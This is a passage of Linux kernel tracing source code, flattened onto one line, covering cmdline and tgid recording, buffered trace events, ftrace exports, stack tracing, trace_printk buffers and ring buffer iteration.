long flags; /* If global, we need to also stop the max tracer */ if (tr->flags & TRACE_ARRAY_FL_GLOBAL) return tracing_stop(); raw_spin_lock_irqsave(&tr->start_lock, flags); if (tr->stop_count++) goto out; buffer = tr->trace_buffer.buffer; if (buffer) ring_buffer_record_disable(buffer); out: raw_spin_unlock_irqrestore(&tr->start_lock, flags); } static int trace_save_cmdline(struct task_struct *tsk) { unsigned pid, idx; /* treat recording of idle task as a success */ if (!tsk->pid) return 1; if (unlikely(tsk->pid > PID_MAX_DEFAULT)) return 0; /* * It's not the end of the world if we don't get * the lock, but we also don't want to spin * nor do we want to disable interrupts, * so if we miss here, then better luck next time. */ if (!arch_spin_trylock(&trace_cmdline_lock)) return 0; idx = savedcmd->map_pid_to_cmdline[tsk->pid]; if (idx == NO_CMDLINE_MAP) { idx = (savedcmd->cmdline_idx + 1) % savedcmd->cmdline_num; /* * Check whether the cmdline buffer at idx has a pid * mapped. We are going to overwrite that entry so we * need to clear the map_pid_to_cmdline. Otherwise we * would read the new comm for the old pid. */ pid = savedcmd->map_cmdline_to_pid[idx]; if (pid != NO_CMDLINE_MAP) savedcmd->map_pid_to_cmdline[pid] = NO_CMDLINE_MAP; savedcmd->map_cmdline_to_pid[idx] = tsk->pid; savedcmd->map_pid_to_cmdline[tsk->pid] = idx; savedcmd->cmdline_idx = idx; } set_cmdline(idx, tsk->comm); arch_spin_unlock(&trace_cmdline_lock); return 1; } static void __trace_find_cmdline(int pid, char comm[]) { unsigned map; if (!pid) { strcpy(comm, "<idle>"); return; } if (WARN_ON_ONCE(pid < 0)) { strcpy(comm, "<XXX>"); return; } if (pid > PID_MAX_DEFAULT) { strcpy(comm, "<...>"); return; } map = savedcmd->map_pid_to_cmdline[pid]; if (map != NO_CMDLINE_MAP) strlcpy(comm, get_saved_cmdlines(map), TASK_COMM_LEN); else strcpy(comm, "<...>"); } void trace_find_cmdline(int pid, char comm[]) { preempt_disable(); arch_spin_lock(&trace_cmdline_lock); __trace_find_cmdline(pid, comm); arch_spin_unlock(&trace_cmdline_lock); preempt_enable(); } int trace_find_tgid(int pid) { if (unlikely(!tgid_map || !pid || pid > PID_MAX_DEFAULT)) return 0; return tgid_map[pid]; } static int trace_save_tgid(struct task_struct *tsk) { /* treat recording of idle task as a success */ if (!tsk->pid) return 1; if (unlikely(!tgid_map || tsk->pid > PID_MAX_DEFAULT)) return 0; tgid_map[tsk->pid] = tsk->tgid; return 1; } static bool tracing_record_taskinfo_skip(int flags) { if (unlikely(!(flags & (TRACE_RECORD_CMDLINE | TRACE_RECORD_TGID)))) return true; if (atomic_read(&trace_record_taskinfo_disabled) || !tracing_is_on()) return true; if (!__this_cpu_read(trace_taskinfo_save)) return true; return false; } /** * tracing_record_taskinfo - record the task info of a task * * @task - task to record * @flags - TRACE_RECORD_CMDLINE for recording comm * - TRACE_RECORD_TGID for recording tgid */ void tracing_record_taskinfo(struct task_struct *task, int flags) { bool done; if (tracing_record_taskinfo_skip(flags)) return; /* * Record as much task information as possible. If some fail, continue * to try to record the others. */ done = !(flags & TRACE_RECORD_CMDLINE) || trace_save_cmdline(task); done &= !(flags & TRACE_RECORD_TGID) || trace_save_tgid(task); /* If recording any information failed, retry again soon. */ if (!done) return; __this_cpu_write(trace_taskinfo_save, false); } /** * tracing_record_taskinfo_sched_switch - record task info for sched_switch * * @prev - previous task during sched_switch * @next - next task during sched_switch * @flags - TRACE_RECORD_CMDLINE for recording comm * TRACE_RECORD_TGID for recording tgid */ void tracing_record_taskinfo_sched_switch(struct task_struct *prev, struct task_struct *next, int flags) { bool done; if (tracing_record_taskinfo_skip(flags)) return; /* * Record as much task information as possible. If some fail, continue * to try to record the others. */ done = !(flags & TRACE_RECORD_CMDLINE) || trace_save_cmdline(prev); done &= !(flags & TRACE_RECORD_CMDLINE) || trace_save_cmdline(next); done &= !(flags & TRACE_RECORD_TGID) || trace_save_tgid(prev); done &= !(flags & TRACE_RECORD_TGID) || trace_save_tgid(next); /* If recording any information failed, retry again soon. */ if (!done) return; __this_cpu_write(trace_taskinfo_save, false); } /* Helpers to record a specific task information */ void tracing_record_cmdline(struct task_struct *task) { tracing_record_taskinfo(task, TRACE_RECORD_CMDLINE); } void tracing_record_tgid(struct task_struct *task) { tracing_record_taskinfo(task, TRACE_RECORD_TGID); } /* * Several functions return TRACE_TYPE_PARTIAL_LINE if the trace_seq * overflowed, and TRACE_TYPE_HANDLED otherwise. This helper function * simplifies those functions and keeps them in sync. */ enum print_line_t trace_handle_return(struct trace_seq *s) { return trace_seq_has_overflowed(s) ? TRACE_TYPE_PARTIAL_LINE : TRACE_TYPE_HANDLED; } EXPORT_SYMBOL_GPL(trace_handle_return); void tracing_generic_entry_update(struct trace_entry *entry, unsigned long flags, int pc) { struct task_struct *tsk = current; entry->preempt_count = pc & 0xff; entry->pid = (tsk) ? tsk->pid : 0; entry->flags = #ifdef CONFIG_TRACE_IRQFLAGS_SUPPORT (irqs_disabled_flags(flags) ? TRACE_FLAG_IRQS_OFF : 0) | #else TRACE_FLAG_IRQS_NOSUPPORT | #endif ((pc & NMI_MASK ) ? TRACE_FLAG_NMI : 0) | ((pc & HARDIRQ_MASK) ? TRACE_FLAG_HARDIRQ : 0) | ((pc & SOFTIRQ_OFFSET) ? TRACE_FLAG_SOFTIRQ : 0) | (tif_need_resched() ? TRACE_FLAG_NEED_RESCHED : 0) | (test_preempt_need_resched() ? TRACE_FLAG_PREEMPT_RESCHED : 0); } EXPORT_SYMBOL_GPL(tracing_generic_entry_update); struct ring_buffer_event * trace_buffer_lock_reserve(struct ring_buffer *buffer, int type, unsigned long len, unsigned long flags, int pc) { return __trace_buffer_lock_reserve(buffer, type, len, flags, pc); } DEFINE_PER_CPU(struct ring_buffer_event *, trace_buffered_event); DEFINE_PER_CPU(int, trace_buffered_event_cnt); static int trace_buffered_event_ref; /** * trace_buffered_event_enable - enable buffering events * * When events are being filtered, it is quicker to use a temporary * buffer to write the event data into if there's a likely chance * that it will not be committed. The discard of the ring buffer * is not as fast as committing, and is much slower than copying * a commit. * * When an event is to be filtered, allocate per cpu buffers to * write the event data into, and if the event is filtered and discarded * it is simply dropped, otherwise, the entire data is to be committed * in one shot. */ void trace_buffered_event_enable(void) { struct ring_buffer_event *event; struct page *page; int cpu; WARN_ON_ONCE(!mutex_is_locked(&event_mutex)); if (trace_buffered_event_ref++) return; for_each_tracing_cpu(cpu) { page = alloc_pages_node(cpu_to_node(cpu), GFP_KERNEL | __GFP_NORETRY, 0); if (!page) goto failed; event = page_address(page); memset(event, 0, sizeof(*event)); per_cpu(trace_buffered_event, cpu) = event; preempt_disable(); if (cpu == smp_processor_id() && this_cpu_read(trace_buffered_event) != per_cpu(trace_buffered_event, cpu)) WARN_ON_ONCE(1); preempt_enable(); } return; failed: trace_buffered_event_disable(); } static void enable_trace_buffered_event(void *data) { /* Probably not needed, but do it anyway */ smp_rmb(); this_cpu_dec(trace_buffered_event_cnt); } static void disable_trace_buffered_event(void *data) { this_cpu_inc(trace_buffered_event_cnt); } /** * trace_buffered_event_disable - disable buffering events * * When a filter is removed, it is faster to not use the buffered * events, and to commit directly into the ring buffer. Free up * the temp buffers when there are no more users. This requires * special synchronization with current events. */ void trace_buffered_event_disable(void) { int cpu; WARN_ON_ONCE(!mutex_is_locked(&event_mutex)); if (WARN_ON_ONCE(!trace_buffered_event_ref)) return; if (--trace_buffered_event_ref) return; preempt_disable(); /* For each CPU, set the buffer as used. */ smp_call_function_many(tracing_buffer_mask, disable_trace_buffered_event, NULL, 1); preempt_enable(); /* Wait for all current users to finish */ synchronize_sched(); for_each_tracing_cpu(cpu) { free_page((unsigned long)per_cpu(trace_buffered_event, cpu)); per_cpu(trace_buffered_event, cpu) = NULL; } /* * Make sure trace_buffered_event is NULL before clearing * trace_buffered_event_cnt. */ smp_wmb(); preempt_disable(); /* Do the work on each cpu */ smp_call_function_many(tracing_buffer_mask, enable_trace_buffered_event, NULL, 1); preempt_enable(); } static struct ring_buffer *temp_buffer; struct ring_buffer_event * trace_event_buffer_lock_reserve(struct ring_buffer **current_rb, struct trace_event_file *trace_file, int type, unsigned long len, unsigned long flags, int pc) { struct ring_buffer_event *entry; int val; *current_rb = trace_file->tr->trace_buffer.buffer; if (!ring_buffer_time_stamp_abs(*current_rb) && (trace_file->flags & (EVENT_FILE_FL_SOFT_DISABLED | EVENT_FILE_FL_FILTERED)) && (entry = this_cpu_read(trace_buffered_event))) { /* Try to use the per cpu buffer first */ val = this_cpu_inc_return(trace_buffered_event_cnt); if (val == 1) { trace_event_setup(entry, type, flags, pc); entry->array[0] = len; return entry; } this_cpu_dec(trace_buffered_event_cnt); } entry = __trace_buffer_lock_reserve(*current_rb, type, len, flags, pc); /* * If tracing is off, but we have triggers enabled * we still need to look at the event data. Use the temp_buffer * to store the trace event for the tigger to use. It's recusive * safe and will not be recorded anywhere. */ if (!entry && trace_file->flags & EVENT_FILE_FL_TRIGGER_COND) { *current_rb = temp_buffer; entry = __trace_buffer_lock_reserve(*current_rb, type, len, flags, pc); } return entry; } EXPORT_SYMBOL_GPL(trace_event_buffer_lock_reserve); static DEFINE_SPINLOCK(tracepoint_iter_lock); static DEFINE_MUTEX(tracepoint_printk_mutex); static void output_printk(struct trace_event_buffer *fbuffer) { struct trace_event_call *event_call; struct trace_event *event; unsigned long flags; struct trace_iterator *iter = tracepoint_print_iter; /* We should never get here if iter is NULL */ if (WARN_ON_ONCE(!iter)) return; event_call = fbuffer->trace_file->event_call; if (!event_call || !event_call->event.funcs || !event_call->event.funcs->trace) return; event = &fbuffer->trace_file->event_call->event; spin_lock_irqsave(&tracepoint_iter_lock, flags); trace_seq_init(&iter->seq); iter->ent = fbuffer->entry; event_call->event.funcs->trace(iter, 0, event); trace_seq_putc(&iter->seq, 0); printk("%s", iter->seq.buffer); spin_unlock_irqrestore(&tracepoint_iter_lock, flags); } int tracepoint_printk_sysctl(struct ctl_table *table, int write, void __user *buffer, size_t *lenp, loff_t *ppos) { int save_tracepoint_printk; int ret; mutex_lock(&tracepoint_printk_mutex); save_tracepoint_printk = tracepoint_printk; ret = proc_dointvec(table, write, buffer, lenp, ppos); /* * This will force exiting early, as tracepoint_printk * is always zero when tracepoint_printk_iter is not allocated */ if (!tracepoint_print_iter) tracepoint_printk = 0; if (save_tracepoint_printk == tracepoint_printk) goto out; if (tracepoint_printk) static_key_enable(&tracepoint_printk_key.key); else static_key_disable(&tracepoint_printk_key.key); out: mutex_unlock(&tracepoint_printk_mutex); return ret; } void trace_event_buffer_commit(struct trace_event_buffer *fbuffer) { if (static_key_false(&tracepoint_printk_key.key)) output_printk(fbuffer); event_trigger_unlock_commit(fbuffer->trace_file, fbuffer->buffer, fbuffer->event, fbuffer->entry, fbuffer->flags, fbuffer->pc); } EXPORT_SYMBOL_GPL(trace_event_buffer_commit); /* * Skip 3: * * trace_buffer_unlock_commit_regs() * trace_event_buffer_commit() * trace_event_raw_event_xxx() */ # define STACK_SKIP 3 void trace_buffer_unlock_commit_regs(struct trace_array *tr, struct ring_buffer *buffer, struct ring_buffer_event *event, unsigned long flags, int pc, struct pt_regs *regs) { __buffer_unlock_commit(buffer, event); /* * If regs is not set, then skip the necessary functions. * Note, we can still get here via blktrace, wakeup tracer * and mmiotrace, but that's ok if they lose a function or * two. They are not that meaningful. */ ftrace_trace_stack(tr, buffer, flags, regs ? 0 : STACK_SKIP, pc, regs); ftrace_trace_userstack(buffer, flags, pc); } /* * Similar to trace_buffer_unlock_commit_regs() but do not dump stack. */ void trace_buffer_unlock_commit_nostack(struct ring_buffer *buffer, struct ring_buffer_event *event) { __buffer_unlock_commit(buffer, event); } static void trace_process_export(struct trace_export *export, struct ring_buffer_event *event) { struct trace_entry *entry; unsigned int size = 0; entry = ring_buffer_event_data(event); size = ring_buffer_event_length(event); export->write(export, entry, size); } static DEFINE_MUTEX(ftrace_export_lock); static struct trace_export __rcu *ftrace_exports_list __read_mostly; static DEFINE_STATIC_KEY_FALSE(ftrace_exports_enabled); static inline void ftrace_exports_enable(void) { static_branch_enable(&ftrace_exports_enabled); } static inline void ftrace_exports_disable(void) { static_branch_disable(&ftrace_exports_enabled); } void ftrace_exports(struct ring_buffer_event *event) { struct trace_export *export; preempt_disable_notrace(); export = rcu_dereference_raw_notrace(ftrace_exports_list); while (export) { trace_process_export(export, event); export = rcu_dereference_raw_notrace(export->next); } preempt_enable_notrace(); } static inline void add_trace_export(struct trace_export **list, struct trace_export *export) { rcu_assign_pointer(export->next, *list); /* * We are entering export into the list but another * CPU might be walking that list. We need to make sure * the export->next pointer is valid before another CPU sees * the export pointer included into the list. */ rcu_assign_pointer(*list, export); } static inline int rm_trace_export(struct trace_export **list, struct trace_export *export) { struct trace_export **p; for (p = list; *p != NULL; p = &(*p)->next) if (*p == export) break; if (*p != export) return -1; rcu_assign_pointer(*p, (*p)->next); return 0; } static inline void add_ftrace_export(struct trace_export **list, struct trace_export *export) { if (*list == NULL) ftrace_exports_enable(); add_trace_export(list, export); } static inline int rm_ftrace_export(struct trace_export **list, struct trace_export *export) { int ret; ret = rm_trace_export(list, export); if (*list == NULL) ftrace_exports_disable(); return ret; } int register_ftrace_export(struct trace_export *export) { if (WARN_ON_ONCE(!export->write)) return -1; mutex_lock(&ftrace_export_lock); add_ftrace_export(&ftrace_exports_list, export); mutex_unlock(&ftrace_export_lock); return 0; } EXPORT_SYMBOL_GPL(register_ftrace_export); int unregister_ftrace_export(struct trace_export *export) { int ret; mutex_lock(&ftrace_export_lock); ret = rm_ftrace_export(&ftrace_exports_list, export); mutex_unlock(&ftrace_export_lock); return ret; } EXPORT_SYMBOL_GPL(unregister_ftrace_export); void trace_function(struct trace_array *tr, unsigned long ip, unsigned long parent_ip, unsigned long flags, int pc) { struct trace_event_call *call = &event_function; struct ring_buffer *buffer = tr->trace_buffer.buffer; struct ring_buffer_event *event; struct ftrace_entry *entry; event = __trace_buffer_lock_reserve(buffer, TRACE_FN, sizeof(*entry), flags, pc); if (!event) return; entry = ring_buffer_event_data(event); entry->ip = ip; entry->parent_ip = parent_ip; if (!call_filter_check_discard(call, entry, buffer, event)) { if (static_branch_unlikely(&ftrace_exports_enabled)) ftrace_exports(event); __buffer_unlock_commit(buffer, event); } } #ifdef CONFIG_STACKTRACE #define FTRACE_STACK_MAX_ENTRIES (PAGE_SIZE / sizeof(unsigned long)) struct ftrace_stack { unsigned long calls[FTRACE_STACK_MAX_ENTRIES]; }; static DEFINE_PER_CPU(struct ftrace_stack, ftrace_stack); static DEFINE_PER_CPU(int, ftrace_stack_reserve); static void __ftrace_trace_stack(struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs) { struct trace_event_call *call = &event_kernel_stack; struct ring_buffer_event *event; struct stack_entry *entry; struct stack_trace trace; int use_stack; int size = FTRACE_STACK_ENTRIES; trace.nr_entries = 0; trace.skip = skip; /* * Add one, for this function and the call to save_stack_trace() * If regs is set, then these functions will not be in the way. */ #ifndef CONFIG_UNWINDER_ORC if (!regs) trace.skip++; #endif /* * Since events can happen in NMIs there's no safe way to * use the per cpu ftrace_stacks. We reserve it and if an interrupt * or NMI comes in, it will just have to use the default * FTRACE_STACK_SIZE. */ preempt_disable_notrace(); use_stack = __this_cpu_inc_return(ftrace_stack_reserve); /* * We don't need any atomic variables, just a barrier. * If an interrupt comes in, we don't care, because it would * have exited and put the counter back to what we want. * We just need a barrier to keep gcc from moving things * around. */ barrier(); if (use_stack == 1) { trace.entries = this_cpu_ptr(ftrace_stack.calls); trace.max_entries = FTRACE_STACK_MAX_ENTRIES; if (regs) save_stack_trace_regs(regs, &trace); else save_stack_trace(&trace); if (trace.nr_entries > size) size = trace.nr_entries; } else /* From now on, use_stack is a boolean */ use_stack = 0; size *= sizeof(unsigned long); event = __trace_buffer_lock_reserve(buffer, TRACE_STACK, sizeof(*entry) + size, flags, pc); if (!event) goto out; entry = ring_buffer_event_data(event); memset(&entry->caller, 0, size); if (use_stack) memcpy(&entry->caller, trace.entries, trace.nr_entries * sizeof(unsigned long)); else { trace.max_entries = FTRACE_STACK_ENTRIES; trace.entries = entry->caller; if (regs) save_stack_trace_regs(regs, &trace); else save_stack_trace(&trace); } entry->size = trace.nr_entries; if (!call_filter_check_discard(call, entry, buffer, event)) __buffer_unlock_commit(buffer, event); out: /* Again, don't let gcc optimize things here */ barrier(); __this_cpu_dec(ftrace_stack_reserve); preempt_enable_notrace(); } static inline void ftrace_trace_stack(struct trace_array *tr, struct ring_buffer *buffer, unsigned long flags, int skip, int pc, struct pt_regs *regs) { if (!(tr->trace_flags & TRACE_ITER_STACKTRACE)) return; __ftrace_trace_stack(buffer, flags, skip, pc, regs); } void __trace_stack(struct trace_array *tr, unsigned long flags, int skip, int pc) { struct ring_buffer *buffer = tr->trace_buffer.buffer; if (rcu_is_watching()) { __ftrace_trace_stack(buffer, flags, skip, pc, NULL); return; } /* * When an NMI triggers, RCU is enabled via rcu_nmi_enter(), * but if the above rcu_is_watching() failed, then the NMI * triggered someplace critical, and rcu_irq_enter() should * not be called from NMI. */ if (unlikely(in_nmi())) return; rcu_irq_enter_irqson(); __ftrace_trace_stack(buffer, flags, skip, pc, NULL); rcu_irq_exit_irqson(); } /** * trace_dump_stack - record a stack back trace in the trace buffer * @skip: Number of functions to skip (helper handlers) */ void trace_dump_stack(int skip) { unsigned long flags; if (tracing_disabled || tracing_selftest_running) return; local_save_flags(flags); #ifndef CONFIG_UNWINDER_ORC /* Skip 1 to skip this function. */ skip++; #endif __ftrace_trace_stack(global_trace.trace_buffer.buffer, flags, skip, preempt_count(), NULL); } static DEFINE_PER_CPU(int, user_stack_count); void ftrace_trace_userstack(struct ring_buffer *buffer, unsigned long flags, int pc) { struct trace_event_call *call = &event_user_stack; struct ring_buffer_event *event; struct userstack_entry *entry; struct stack_trace trace; if (!(global_trace.trace_flags & TRACE_ITER_USERSTACKTRACE)) return; /* * NMIs can not handle page faults, even with fix ups. * The save user stack can (and often does) fault. */ if (unlikely(in_nmi())) return; /* * prevent recursion, since the user stack tracing may * trigger other kernel events. */ preempt_disable(); if (__this_cpu_read(user_stack_count)) goto out; __this_cpu_inc(user_stack_count); event = __trace_buffer_lock_reserve(buffer, TRACE_USER_STACK, sizeof(*entry), flags, pc); if (!event) goto out_drop_count; entry = ring_buffer_event_data(event); entry->tgid = current->tgid; memset(&entry->caller, 0, sizeof(entry->caller)); trace.nr_entries = 0; trace.max_entries = FTRACE_STACK_ENTRIES; trace.skip = 0; trace.entries = entry->caller; save_stack_trace_user(&trace); if (!call_filter_check_discard(call, entry, buffer, event)) __buffer_unlock_commit(buffer, event); out_drop_count: __this_cpu_dec(user_stack_count); out: preempt_enable(); } #ifdef UNUSED static void __trace_userstack(struct trace_array *tr, unsigned long flags) { ftrace_trace_userstack(tr, flags, preempt_count()); } #endif /* UNUSED */ #endif /* CONFIG_STACKTRACE */ /* created for use with alloc_percpu */ struct trace_buffer_struct { int nesting; char buffer[4][TRACE_BUF_SIZE]; }; static struct trace_buffer_struct *trace_percpu_buffer; /* * Thise allows for lockless recording. If we're nested too deeply, then * this returns NULL. */ static char *get_trace_buf(void) { struct trace_buffer_struct *buffer = this_cpu_ptr(trace_percpu_buffer); if (!buffer || buffer->nesting >= 4) return NULL; buffer->nesting++; /* Interrupts must see nesting incremented before we use the buffer */ barrier(); return &buffer->buffer[buffer->nesting][0]; } static void put_trace_buf(void) { /* Don't let the decrement of nesting leak before this */ barrier(); this_cpu_dec(trace_percpu_buffer->nesting); } static int alloc_percpu_trace_buffer(void) { struct trace_buffer_struct *buffers; buffers = alloc_percpu(struct trace_buffer_struct); if (WARN(!buffers, "Could not allocate percpu trace_printk buffer")) return -ENOMEM; trace_percpu_buffer = buffers; return 0; } static int buffers_allocated; void trace_printk_init_buffers(void) { if (buffers_allocated) return; if (alloc_percpu_trace_buffer()) return; /* trace_printk() is for debug use only. Don't use it in production. */ pr_warn("\n"); pr_warn("**********************************************************\n"); pr_warn("** NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE **\n"); pr_warn("** **\n"); pr_warn("** trace_printk() being used. Allocating extra memory. **\n"); pr_warn("** **\n"); pr_warn("** This means that this is a DEBUG kernel and it is **\n"); pr_warn("** unsafe for production use. **\n"); pr_warn("** **\n"); pr_warn("** If you see this message and you are not debugging **\n"); pr_warn("** the kernel, report this immediately to your vendor! **\n"); pr_warn("** **\n"); pr_warn("** NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE **\n"); pr_warn("**********************************************************\n"); /* Expand the buffers to set size */ tracing_update_buffers(); buffers_allocated = 1; /* * trace_printk_init_buffers() can be called by modules. * If that happens, then we need to start cmdline recording * directly here. If the global_trace.buffer is already * allocated here, then this was called by module code. */ if (global_trace.trace_buffer.buffer) tracing_start_cmdline_record(); } void trace_printk_start_comm(void) { /* Start tracing comms if trace printk is set */ if (!buffers_allocated) return; tracing_start_cmdline_record(); } static void trace_printk_start_stop_comm(int enabled) { if (!buffers_allocated) return; if (enabled) tracing_start_cmdline_record(); else tracing_stop_cmdline_record(); } /** * trace_vbprintk - write binary msg to tracing buffer * */ int trace_vbprintk(unsigned long ip, const char *fmt, va_list args) { struct trace_event_call *call = &event_bprint; struct ring_buffer_event *event; struct ring_buffer *buffer; struct trace_array *tr = &global_trace; struct bprint_entry *entry; unsigned long flags; char *tbuffer; int len = 0, size, pc; if (unlikely(tracing_selftest_running || tracing_disabled)) return 0; /* Don't pollute graph traces with trace_vprintk internals */ pause_graph_tracing(); pc = preempt_count(); preempt_disable_notrace(); tbuffer = get_trace_buf(); if (!tbuffer) { len = 0; goto out_nobuffer; } len = vbin_printf((u32 *)tbuffer, TRACE_BUF_SIZE/sizeof(int), fmt, args); if (len > TRACE_BUF_SIZE/sizeof(int) || len < 0) goto out; local_save_flags(flags); size = sizeof(*entry) + sizeof(u32) * len; buffer = tr->trace_buffer.buffer; event = __trace_buffer_lock_reserve(buffer, TRACE_BPRINT, size, flags, pc); if (!event) goto out; entry = ring_buffer_event_data(event); entry->ip = ip; entry->fmt = fmt; memcpy(entry->buf, tbuffer, sizeof(u32) * len); if (!call_filter_check_discard(call, entry, buffer, event)) { __buffer_unlock_commit(buffer, event); ftrace_trace_stack(tr, buffer, flags, 6, pc, NULL); } out: put_trace_buf(); out_nobuffer: preempt_enable_notrace(); unpause_graph_tracing(); return len; } EXPORT_SYMBOL_GPL(trace_vbprintk); static int __trace_array_vprintk(struct ring_buffer *buffer, unsigned long ip, const char *fmt, va_list args) { struct trace_event_call *call = &event_print; struct ring_buffer_event *event; int len = 0, size, pc; struct print_entry *entry; unsigned long flags; char *tbuffer; if (tracing_disabled || tracing_selftest_running) return 0; /* Don't pollute graph traces with trace_vprintk internals */ pause_graph_tracing(); pc = preempt_count(); preempt_disable_notrace(); tbuffer = get_trace_buf(); if (!tbuffer) { len = 0; goto out_nobuffer; } len = vscnprintf(tbuffer, TRACE_BUF_SIZE, fmt, args); local_save_flags(flags); size = sizeof(*entry) + len + 1; event = __trace_buffer_lock_reserve(buffer, TRACE_PRINT, size, flags, pc); if (!event) goto out; entry = ring_buffer_event_data(event); entry->ip = ip; memcpy(&entry->buf, tbuffer, len + 1); if (!call_filter_check_discard(call, entry, buffer, event)) { __buffer_unlock_commit(buffer, event); ftrace_trace_stack(&global_trace, buffer, flags, 6, pc, NULL); } out: put_trace_buf(); out_nobuffer: preempt_enable_notrace(); unpause_graph_tracing(); return len; } int trace_array_vprintk(struct trace_array *tr, unsigned long ip, const char *fmt, va_list args) { return __trace_array_vprintk(tr->trace_buffer.buffer, ip, fmt, args); } int trace_array_printk(struct trace_array *tr, unsigned long ip, const char *fmt, ...) { int ret; va_list ap; if (!(global_trace.trace_flags & TRACE_ITER_PRINTK)) return 0; va_start(ap, fmt); ret = trace_array_vprintk(tr, ip, fmt, ap); va_end(ap); return ret; } int trace_array_printk_buf(struct ring_buffer *buffer, unsigned long ip, const char *fmt, ...) { int ret; va_list ap; if (!(global_trace.trace_flags & TRACE_ITER_PRINTK)) return 0; va_start(ap, fmt); ret = __trace_array_vprintk(buffer, ip, fmt, ap); va_end(ap); return ret; } int trace_vprintk(unsigned long ip, const char *fmt, va_list args) { return trace_array_vprintk(&global_trace, ip, fmt, args); } EXPORT_SYMBOL_GPL(trace_vprintk); static void trace_iterator_increment(struct trace_iterator *iter) { struct ring_buffer_iter *buf_iter = trace_buffer_iter(iter, iter->cpu); iter->idx++; if (buf_iter) ring_buffer_read(buf_iter, NULL); } static struct trace_entry * peek_next_entry(struct trace_iterator *iter, int cpu, u64 *ts, unsigned long *lost_events) { struct ring_buffer_event *event; struct ring_buffer_iter *buf_iter = trace_buffer_iter(iter, cpu); if (buf_iter) event = ring_buffer_iter_peek(buf_iter, ts); else event = ring_buffer_peek(iter->trace_buffer->buffer, cpu, ts, lost_events); if (event) { iter->ent_size = ring_buffer_event_length(event); return ring_buffer_event_data(event); } iter->ent_size = 0; return NULL; } static struct trace_entry * __find_next_entry(struct trace_iterator *iter, int *ent_cpu, unsigned long *missing_events, u64 *ent_ts) { struct ring_buffer *buffer = iter->trace_buffer->buffer; struct trace_entry *ent, *next = NULL; unsigned long lost_events = 0, next_lost = 0; int cpu_file = iter->cpu_file; u64 next_ts = 0, ts; int next_cpu = -1; int next_size = 0; int cpu; /* * If we are in a per_cpu trace file, don't bother by iterating over * all cpu and peek directly. */ if (cpu_file > RING_BUFFER_ALL_CPUS) { if (ring_buffer_empty_cpu(buffer, cpu_file)) return NULL; ent = peek_next_entry(iter, cpu_file, ent_ts, missing_events); if (ent_cpu) *ent_cpu = cpu_file; return ent; } for_each_tracing_cpu(cpu) { if (ring_buffer_empty_cpu(buffer, cpu)) continue; ent = peek_next_entry(iter, cpu, &ts, &lost_events); /* * Pick the entry with the smallest timestamp: */ if (ent && (!next || ts < next_ts)) { next = ent; next_cpu = cpu; next_ts = ts; next_lost = lost_events; next_size = iter->ent_size; } } iter->ent_size = next_size; if (ent_cpu) *ent_cpu = next_cpu; if (ent_ts) *ent_ts = next_ts; if (missing_events) *missing_events = next_lost; return next; } /* Find the next real entry, without updating the iterator itself */ struct trace_entry *trace_find_next_entry(struct trace_iterator *iter, int *ent_cpu, u64 *ent_ts) { return __find_next_entry(iter, ent_cpu, NULL, ent_ts); } /* Find the next real entry, and increment the iterator to the next entry */ void *trace_find_next_entry_inc(struct trace_iterator *iter) { iter->ent = __find_next_entry(iter, &iter->cpu, &iter->lost_events, &iter->ts); if (iter->ent) trace_iterator_increment(iter); return iter->ent ? iter : NULL; } static void trace_consume(struct trace_iterator *iter) { ring_buffer_consume(iter->trace_buffer->buffer, iter->cpu, &iter->ts, &iter->lost_events); } static void *s_next(struct seq_file *m, void *v, loff_t *pos) { struct trace_iterator *iter = m->private; int i = (int)*pos; void *ent; WARN_ON_ONCE(iter->leftover); (*pos)++; /* can't go backwards */ if (iter->idx > i) return NULL; if (iter->idx < 0) ent = trace_find_next_entry_inc(iter); else ent = iter; while (ent && iter->idx < i) ent = trace_find_next_entry_inc(iter); iter->pos = *pos; return ent; } void tracing_iter_reset(struct trace_iterator *iter, int cpu) { struct ring_buffer_event *event; struct ring_buffer_iter *buf_iter; unsigned long entries = 0; u64 ts; per_cpu_ptr(iter->trace_buffer->data, cpu)->skipped_entries = 0; buf_iter = trace_buffer_iter(iter, cpu); if (!buf_iter) return; ring_buffer_iter_reset(buf_iter); /* * We could have the case with the max latency tracers * that a reset never took place on a cpu. This is evident * by the timestamp being before the start of the buffer. */ while ((event = ring_buffer_iter_peek(buf_iter, &ts))) { if (ts >= iter->trace_buffer->time_start) break; entries++; ring_buffer_read(buf_iter, NULL); } per_cpu_ptr(iter->trace_buffer->data, cpu)->skipped_entries = entries; } /* * The current tracer is copied to avoid a global locking * all around. */ static void *s_start(struct seq_file *m, loff_t *pos) { struct trace_iterator *iter = m->private; struct trace_array *tr = iter->tr; int cpu_file = iter->cpu_file; void *p = NULL; loff_t l = 0; int cpu; /* * copy the tracer to avoid using a global lock all around. * iter->trace is a copy of current_trace, the pointer to the * name may be used instead of a strcmp(), as iter->trace->name * will point to the same string as current_trace->name. */ mutex_lock(&trace_types_lock); if (unlikely(tr->current_trace && iter->trace->name != tr->current_trace->name)) *iter->trace = *tr->current_trace; mutex_unlock(&trace_types_lock); #ifdef CONFIG_TRACER_MAX_TRACE if (iter->snapshot && iter->trace->use_max_tr) return ERR_PTR(-EBUSY); #endif if (!iter->snapshot) atomic_inc(&trace_record_taskinfo_disabled); if (*pos != iter->pos) { iter->ent = NULL; iter->cpu = 0; iter->idx = -1; if (cpu_file == RING_BUFFER_ALL_CPUS) { for_each_tracing_cpu(cpu) tracing_iter_reset(iter, cpu); } else tracing_iter_reset(iter, cpu_file); iter->leftover = 0; for (p = iter; p && l < *pos; p = s_next(m, p, &l)) ; } else { /* * If we overflowed the seq_file before, then we want * to just reuse the trace_seq buffer again. */ if (iter->leftover) p = iter; else { l = *pos - 1; p = s_next(m, p, &l); } } trace_event_read_lock(); trace_access_lock(cpu_file); return p; } static void s_stop(struct seq_file *m, void *p) { struct trace_iterator *iter = m->private; #ifdef CONFIG_TRACER_MAX_TRACE if (iter->snapshot && iter->trace->use_max_tr) return; #endif if (!iter->snapshot) atomic_dec(&trace_record_taskinfo_disabled); trace_access_unlock(iter->cpu_file); trace_event_read_unlock(); } static void get_total_entries(struct trace_buffer *buf, unsigned long *total, unsigned long *entries) { unsigned long count; int cpu; *total = 0; *entries = 0; for_each_tracing_cpu(cpu) { count = ring_buffer_entries_cpu(buf->buffer, cpu); /* * If this buffer has skipped entries, then we hold all * entries for the trace and we need to ignore the * ones before the time stamp. */ if (per_cpu_ptr(buf->data, cpu)->skipped_entries) { count -= 